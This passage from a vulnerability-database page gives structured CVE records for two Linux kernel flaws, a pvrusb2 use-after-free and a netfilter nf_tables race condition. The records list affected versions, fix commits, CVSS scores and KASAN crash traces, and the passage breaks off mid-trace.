          "product": "Linux",
          "programFiles": [
            "drivers/media/usb/pvrusb2/pvrusb2-context.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "ed8000e1e8e9684ab6c30cf2b526c0cea039929c",
              "status": "affected",
              "version": "e5be15c63804e05b5a94197524023702a259e308",
              "versionType": "git"
            },
            {
              "lessThan": "d29ed08964cec8b9729bc55c7bb23f679d7a18fb",
              "status": "affected",
              "version": "e5be15c63804e05b5a94197524023702a259e308",
              "versionType": "git"
            },
            {
              "lessThan": "ab896d93fd6a2cd1afeb034c3cc9226cb499209f",
              "status": "affected",
              "version": "e5be15c63804e05b5a94197524023702a259e308",
              "versionType": "git"
            },
            {
              "lessThan": "eb6e9dce979c08210ff7249e5e0eceb8991bfcd7",
              "status": "affected",
              "version": "e5be15c63804e05b5a94197524023702a259e308",
              "versionType": "git"
            },
            {
              "lessThan": "3a1ec89708d2e57e2712f46241282961b1a7a475",
              "status": "affected",
              "version": "e5be15c63804e05b5a94197524023702a259e308",
              "versionType": "git"
            },
            {
              "lessThan": "8e60b99f6b7ccb3badeb512f5eb613ad45904592",
              "status": "affected",
              "version": "e5be15c63804e05b5a94197524023702a259e308",
              "versionType": "git"
            },
            {
              "lessThan": "40cd818fae875c424a8335009db33c7b5a07de3a",
              "status": "affected",
              "version": "e5be15c63804e05b5a94197524023702a259e308",
              "versionType": "git"
            },
            {
              "lessThan": "eaa410e05bdf562c90b23cdf2d9327f9c4625e16",
              "status": "affected",
              "version": "e5be15c63804e05b5a94197524023702a259e308",
              "versionType": "git"
            },
            {
              "lessThan": "0a0b79ea55de8514e1750884e5fec77f9fdd01ee",
              "status": "affected",
              "version": "e5be15c63804e05b5a94197524023702a259e308",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/media/usb/pvrusb2/pvrusb2-context.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.26"
            },
            {
              "lessThan": "2.6.26",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: pvrusb2: fix uaf in pvr2_context_set_notify\n\n[Syzbot reported]\nBUG: KASAN: slab-use-after-free in pvr2_context_set_notify+0x2c4/0x310 drivers/media/usb/pvrusb2/pvrusb2-context.c:35\nRead of size 4 at addr ffff888113aeb0d8 by task kworker/1:1/26\n\nCPU: 1 PID: 26 Comm: kworker/1:1 Not tainted 6.8.0-rc1-syzkaller-00046-gf1a27f081c1f #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/25/2024\nWorkqueue: usb_hub_wq hub_event\nCall Trace:\n \u003cTASK\u003e\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0xd9/0x1b0 lib/dump_stack.c:106\n print_address_description mm/kasan/report.c:377 [inline]\n print_report+0xc4/0x620 mm/kasan/report.c:488\n kasan_report+0xda/0x110 mm/kasan/report.c:601\n pvr2_context_set_notify+0x2c4/0x310 drivers/media/usb/pvrusb2/pvrusb2-context.c:35\n pvr2_context_notify drivers/media/usb/pvrusb2/pvrusb2-context.c:95 [inline]\n pvr2_context_disconnect+0x94/0xb0 drivers/media/usb/pvrusb2/pvrusb2-context.c:272\n\nFreed by task 906:\nkasan_save_stack+0x33/0x50 mm/kasan/common.c:47\nkasan_save_track+0x14/0x30 mm/kasan/common.c:68\nkasan_save_free_info+0x3f/0x60 mm/kasan/generic.c:640\npoison_slab_object mm/kasan/common.c:241 [inline]\n__kasan_slab_free+0x106/0x1b0 mm/kasan/common.c:257\nkasan_slab_free include/linux/kasan.h:184 [inline]\nslab_free_hook mm/slub.c:2121 [inline]\nslab_free mm/slub.c:4299 [inline]\nkfree+0x105/0x340 mm/slub.c:4409\npvr2_context_check drivers/media/usb/pvrusb2/pvrusb2-context.c:137 [inline]\npvr2_context_thread_func+0x69d/0x960 drivers/media/usb/pvrusb2/pvrusb2-context.c:158\n\n[Analyze]\nTask A set disconnect_flag = !0, which resulted in Task B\u0027s condition being met\nand releasing mp, leading to this issue.\n\n[Fix]\nPlace the disconnect_flag assignment operation after all code in pvr2_context_disconnect()\nto avoid this issue."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:05:54.019Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/ed8000e1e8e9684ab6c30cf2b526c0cea039929c"
        },
        {
          "url": "https://git.kernel.org/stable/c/d29ed08964cec8b9729bc55c7bb23f679d7a18fb"
        },
        {
          "url": "https://git.kernel.org/stable/c/ab896d93fd6a2cd1afeb034c3cc9226cb499209f"
        },
        {
          "url": "https://git.kernel.org/stable/c/eb6e9dce979c08210ff7249e5e0eceb8991bfcd7"
        },
        {
          "url": "https://git.kernel.org/stable/c/3a1ec89708d2e57e2712f46241282961b1a7a475"
        },
        {
          "url": "https://git.kernel.org/stable/c/8e60b99f6b7ccb3badeb512f5eb613ad45904592"
        },
        {
          "url": "https://git.kernel.org/stable/c/40cd818fae875c424a8335009db33c7b5a07de3a"
        },
        {
          "url": "https://git.kernel.org/stable/c/eaa410e05bdf562c90b23cdf2d9327f9c4625e16"
        },
        {
          "url": "https://git.kernel.org/stable/c/0a0b79ea55de8514e1750884e5fec77f9fdd01ee"
        }
      ],
      "title": "media: pvrusb2: fix uaf in pvr2_context_set_notify",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26875",
    "datePublished": "2024-04-17T10:27:33.914Z",
    "dateReserved": "2024-02-19T14:20:24.185Z",
    "dateUpdated": "2026-05-12T11:49:48.879Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35899 (GCVE-0-2024-35899)

Vulnerability from cvelistv5 – Published: 2024-05-19 08:34 – Updated: 2026-05-12 11:52

Title

netfilter: nf_tables: flush pending destroy work before exit_net release

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: flush pending destroy work before exit_net release Similar to 2c9f0293280e ("netfilter: nf_tables: flush pending destroy work before netlink notifier") to address a race between exit_net and the destroy workqueue. The trace below shows an element to be released via destroy workqueue while exit_net path (triggered via module removal) has already released the set that is used in such transaction. [ 1360.547789] BUG: KASAN: slab-use-after-free in nf_tables_trans_destroy_work+0x3f5/0x590 [nf_tables] [ 1360.547861] Read of size 8 at addr ffff888140500cc0 by task kworker/4:1/152465 [ 1360.547870] CPU: 4 PID: 152465 Comm: kworker/4:1 Not tainted 6.8.0+ #359 [ 1360.547882] Workqueue: events nf_tables_trans_destroy_work [nf_tables] [ 1360.547984] Call Trace: [ 1360.547991] <TASK> [ 1360.547998] dump_stack_lvl+0x53/0x70 [ 1360.548014] print_report+0xc4/0x610 [ 1360.548026] ? __virt_addr_valid+0xba/0x160 [ 1360.548040] ? __pfx__raw_spin_lock_irqsave+0x10/0x10 [ 1360.548054] ? nf_tables_trans_destroy_work+0x3f5/0x590 [nf_tables] [ 1360.548176] kasan_report+0xae/0xe0 [ 1360.548189] ? nf_tables_trans_destroy_work+0x3f5/0x590 [nf_tables] [ 1360.548312] nf_tables_trans_destroy_work+0x3f5/0x590 [nf_tables] [ 1360.548447] ? __pfx_nf_tables_trans_destroy_work+0x10/0x10 [nf_tables] [ 1360.548577] ? _raw_spin_unlock_irq+0x18/0x30 [ 1360.548591] process_one_work+0x2f1/0x670 [ 1360.548610] worker_thread+0x4d3/0x760 [ 1360.548627] ? __pfx_worker_thread+0x10/0x10 [ 1360.548640] kthread+0x16b/0x1b0 [ 1360.548653] ? __pfx_kthread+0x10/0x10 [ 1360.548665] ret_from_fork+0x2f/0x50 [ 1360.548679] ? __pfx_kthread+0x10/0x10 [ 1360.548690] ret_from_fork_asm+0x1a/0x30 [ 1360.548707] </TASK> [ 1360.548719] Allocated by task 192061: [ 1360.548726] kasan_save_stack+0x20/0x40 [ 1360.548739] kasan_save_track+0x14/0x30 [ 1360.548750] __kasan_kmalloc+0x8f/0xa0 [ 1360.548760] __kmalloc_node+0x1f1/0x450 [ 1360.548771] nf_tables_newset+0x10c7/0x1b50 [nf_tables] [ 1360.548883] nfnetlink_rcv_batch+0xbc4/0xdc0 [nfnetlink] [ 1360.548909] nfnetlink_rcv+0x1a8/0x1e0 [nfnetlink] [ 1360.548927] netlink_unicast+0x367/0x4f0 [ 1360.548935] netlink_sendmsg+0x34b/0x610 [ 1360.548944] ____sys_sendmsg+0x4d4/0x510 [ 1360.548953] ___sys_sendmsg+0xc9/0x120 [ 1360.548961] __sys_sendmsg+0xbe/0x140 [ 1360.548971] do_syscall_64+0x55/0x120 [ 1360.548982] entry_SYSCALL_64_after_hwframe+0x55/0x5d [ 1360.548994] Freed by task 192222: [ 1360.548999] kasan_save_stack+0x20/0x40 [ 1360.549009] kasan_save_track+0x14/0x30 [ 1360.549019] kasan_save_free_info+0x3b/0x60 [ 1360.549028] poison_slab_object+0x100/0x180 [ 1360.549036] __kasan_slab_free+0x14/0x30 [ 1360.549042] kfree+0xb6/0x260 [ 1360.549049] __nft_release_table+0x473/0x6a0 [nf_tables] [ 1360.549131] nf_tables_exit_net+0x170/0x240 [nf_tables] [ 1360.549221] ops_exit_list+0x50/0xa0 [ 1360.549229] free_exit_list+0x101/0x140 [ 1360.549236] unregister_pernet_operations+0x107/0x160 [ 1360.549245] unregister_pernet_subsys+0x1c/0x30 [ 1360.549254] nf_tables_module_exit+0x43/0x80 [nf_tables] [ 1360.549345] __do_sys_delete_module+0x253/0x370 [ 1360.549352] do_syscall_64+0x55/0x120 [ 1360.549360] entry_SYSCALL_64_after_hwframe+0x55/0x5d (gdb) list *__nft_release_table+0x473 0x1e033 is in __nft_release_table (net/netfilter/nf_tables_api.c:11354). 11349 list_for_each_entry_safe(flowtable, nf, &table->flowtables, list) { 11350 list_del(&flowtable->list); 11351 nft_use_dec(&table->use); 11352 nf_tables_flowtable_destroy(flowtable); 11353 } 11354 list_for_each_entry_safe(set, ns, &table->sets, list) { 11355 list_del(&set->list); 11356 nft_use_dec(&table->use); 11357 if (set->flags & (NFT_SET_MAP | NFT_SET_OBJECT)) 11358 nft_map_deactivat ---truncated---

Severity ?

6.1 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H

CWE

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/f4e14695fe805eb0f…
https://git.kernel.org/stable/c/46c4481938e2ca623…
https://git.kernel.org/stable/c/f7e3c88cc2a977c2b…
https://git.kernel.org/stable/c/4e8447a9a3d367b50…
https://git.kernel.org/stable/c/333b5085522cf1898…
https://git.kernel.org/stable/c/d2c9eb19fc3b11cae…
https://git.kernel.org/stable/c/24cea9677025e0de4…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 0935d558840099b3679c67bb7468dc78fcbad940 , < f4e14695fe805eb0f0cb36e0ad6a560b9f985e86 (git) Affected: 0935d558840099b3679c67bb7468dc78fcbad940 , < 46c4481938e2ca62343b16ea83ab28f4c1733d31 (git) Affected: 0935d558840099b3679c67bb7468dc78fcbad940 , < f7e3c88cc2a977c2b9a8aa52c1ce689e7b394e49 (git) Affected: 0935d558840099b3679c67bb7468dc78fcbad940 , < 4e8447a9a3d367b5065a0b7abe101da6e0037b6e (git) Affected: 0935d558840099b3679c67bb7468dc78fcbad940 , < 333b5085522cf1898d5a0d92616046b414f631a7 (git) Affected: 0935d558840099b3679c67bb7468dc78fcbad940 , < d2c9eb19fc3b11caebafde4c30a76a49203d18a6 (git) Affected: 0935d558840099b3679c67bb7468dc78fcbad940 , < 24cea9677025e0de419989ecb692acd4bb34cac2 (git)
Linux	Linux	Affected: 4.20 Unaffected: 0 , < 4.20 (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.85 , ≤ 6.1.* (semver) Unaffected: 6.6.26 , ≤ 6.6.* (semver) Unaffected: 6.8.5 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "f4e14695fe80",
                "status": "affected",
                "version": "0935d5588400",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "46c4481938e2",
                "status": "affected",
                "version": "0935d5588400",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "f7e3c88cc2a9",
                "status": "affected",
                "version": "0935d5588400",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "4e8447a9a3d3",
                "status": "affected",
                "version": "0935d5588400",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "333b5085522c",
                "status": "affected",
                "version": "0935d5588400",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "d2c9eb19fc3b",
                "status": "affected",
                "version": "0935d5588400",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "24cea9677025",
                "status": "affected",
                "version": "0935d5588400",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "4.20",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "5.5",
                "status": "unaffected",
                "version": "5.4.274",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "6.9",
                "status": "unaffected",
                "version": "6.8.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "6.9"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:4.20:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "4.20"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "5.11",
                "status": "unaffected",
                "version": "5.10.215",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "5.16",
                "status": "unaffected",
                "version": "5.15.154",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "6.2",
                "status": "unaffected",
                "version": "6.1.85",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "6.7",
                "status": "unaffected",
                "version": "6.6.26",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 6.1,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "LOW",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-35899",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-01-16T21:12:26.045912Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-362",
                "description": "CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-01-16T21:12:59.375Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.989Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f4e14695fe805eb0f0cb36e0ad6a560b9f985e86"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/46c4481938e2ca62343b16ea83ab28f4c1733d31"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f7e3c88cc2a977c2b9a8aa52c1ce689e7b394e49"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4e8447a9a3d367b5065a0b7abe101da6e0037b6e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/333b5085522cf1898d5a0d92616046b414f631a7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d2c9eb19fc3b11caebafde4c30a76a49203d18a6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/24cea9677025e0de419989ecb692acd4bb34cac2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:35.424Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f4e14695fe805eb0f0cb36e0ad6a560b9f985e86",
              "status": "affected",
              "version": "0935d558840099b3679c67bb7468dc78fcbad940",
              "versionType": "git"
            },
            {
              "lessThan": "46c4481938e2ca62343b16ea83ab28f4c1733d31",
              "status": "affected",
              "version": "0935d558840099b3679c67bb7468dc78fcbad940",
              "versionType": "git"
            },
            {
              "lessThan": "f7e3c88cc2a977c2b9a8aa52c1ce689e7b394e49",
              "status": "affected",
              "version": "0935d558840099b3679c67bb7468dc78fcbad940",
              "versionType": "git"
            },
            {
              "lessThan": "4e8447a9a3d367b5065a0b7abe101da6e0037b6e",
              "status": "affected",
              "version": "0935d558840099b3679c67bb7468dc78fcbad940",
              "versionType": "git"
            },
            {
              "lessThan": "333b5085522cf1898d5a0d92616046b414f631a7",
              "status": "affected",
              "version": "0935d558840099b3679c67bb7468dc78fcbad940",
              "versionType": "git"
            },
            {
              "lessThan": "d2c9eb19fc3b11caebafde4c30a76a49203d18a6",
              "status": "affected",
              "version": "0935d558840099b3679c67bb7468dc78fcbad940",
              "versionType": "git"
            },
            {
              "lessThan": "24cea9677025e0de419989ecb692acd4bb34cac2",
              "status": "affected",
              "version": "0935d558840099b3679c67bb7468dc78fcbad940",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.20"
            },
            {
              "lessThan": "4.20",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.85",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.85",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.26",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.5",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: flush pending destroy work before exit_net release\n\nSimilar to 2c9f0293280e (\"netfilter: nf_tables: flush pending destroy\nwork before netlink notifier\") to address a race between exit_net and\nthe destroy workqueue.\n\nThe trace below shows an element to be released via destroy workqueue\nwhile exit_net path (triggered via module removal) has already released\nthe set that is used in such transaction.\n\n[ 1360.547789] BUG: KASAN: slab-use-after-free in nf_tables_trans_destroy_work+0x3f5/0x590 [nf_tables]\n[ 1360.547861] Read of size 8 at addr ffff888140500cc0 by task kworker/4:1/152465\n[ 1360.547870] CPU: 4 PID: 152465 Comm: kworker/4:1 Not tainted 6.8.0+ #359\n[ 1360.547882] Workqueue: events nf_tables_trans_destroy_work [nf_tables]\n[ 1360.547984] Call Trace:\n[ 1360.547991]  \u003cTASK\u003e\n[ 1360.547998]  dump_stack_lvl+0x53/0x70\n[ 1360.548014]  print_report+0xc4/0x610\n[ 1360.548026]  ? __virt_addr_valid+0xba/0x160\n[ 1360.548040]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10\n[ 1360.548054]  ? 